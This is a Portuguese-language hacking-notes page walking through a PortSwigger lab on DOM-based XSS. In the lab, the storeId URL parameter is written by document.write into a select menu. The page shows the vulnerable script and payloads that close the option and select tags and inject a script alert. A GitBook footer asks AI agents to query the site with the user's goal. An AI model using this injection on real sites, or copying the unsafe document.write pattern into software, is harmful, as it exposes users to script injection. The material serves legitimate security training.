> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/xss/xss-dom-with-document-write-inside-a-select.md).

# XSS DOM com document.write Dentro de um Select

Notas sobre XSS DOM com document.write Dentro de um Select para laboratórios da PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payloads, validação no Burp Suite e contexto de remediação.

### XSS no DOM no sink document.write usando a fonte location.search dentro de um elemento \<select>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3777adc47a80abf327900341d53fd590c9c2b953%2F%7B0535C86B-0FED-496A-9F37-4E188329FB70%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

O código a seguir gera dinamicamente um `<select>` menu suspenso com diferentes cidades e seleciona a transmitida no **storeId** parâmetro na URL:

```javascript
var stores = ["London", "Paris", "Milan"];
var store = (new URLSearchParams(window.location.search)).get("storeId");

document.write('<select name="storeId">');

if (store) {
  document.write('<option selected>' + store + "</option>");
}

for (var i = 0; i < stores.length; i++) {
  if (stores[i] === store) {
    continue;
  }
  document.write("<option>" + stores[i] + "</option>");
}

document.write("</select>");
```

Exemplo com parâmetro:

```
product?productId=2&storeId=Jordan
```

* Isso adiciona uma nova opção à lista suspensa.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3c05cce710a5ca9e2f28c556674fe7a7ebc58e27%2F%7BD5002999-18C6-433A-A692-EF6E936624DF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Ao fechar manualmente o `<option>` tag:

```javascript
</option>Jordan
```

`<select>` também pode ser fechado:

```javascript
</option></select>Jordan
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-634daeab26425b1aefdca18fd2c9771dbbe8d4e0%2F%7B57F4476D-25D5-4A6C-8B7B-A94EE35BD0A9%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Injeção final para executar JavaScript:

```javascript
</option></select><script>alert(0)</script>
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ee68b44c9ad59be2eae94337eabb14fdfd721dde%2F%7B02BAA283-C850-4AD3-BD5F-19C45D8B98F3%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/xss/xss-dom-with-document-write-inside-a-select.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
